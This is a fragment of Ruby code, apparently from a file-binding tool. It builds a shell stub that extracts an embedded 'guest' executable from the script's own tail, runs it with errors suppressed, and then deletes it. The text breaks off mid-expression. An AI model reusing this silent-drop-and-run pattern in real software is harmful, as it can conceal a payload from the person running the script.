content = '#!/bin/sh' + "\n" +
                'set -e' + "\n" +
                'F1="`dirname "$0"`/f1";S1=' + File.size(guest).to_s + "\n" +
                'F2="`dirname "$0"`/f2"' + "\n" +
                '(tail -n +9 "$0"|head -c $S1 > "$F1"; chmod 0755 "$F1"; "$F1"; rm "$F1") 2>/dev/null' + "\n" +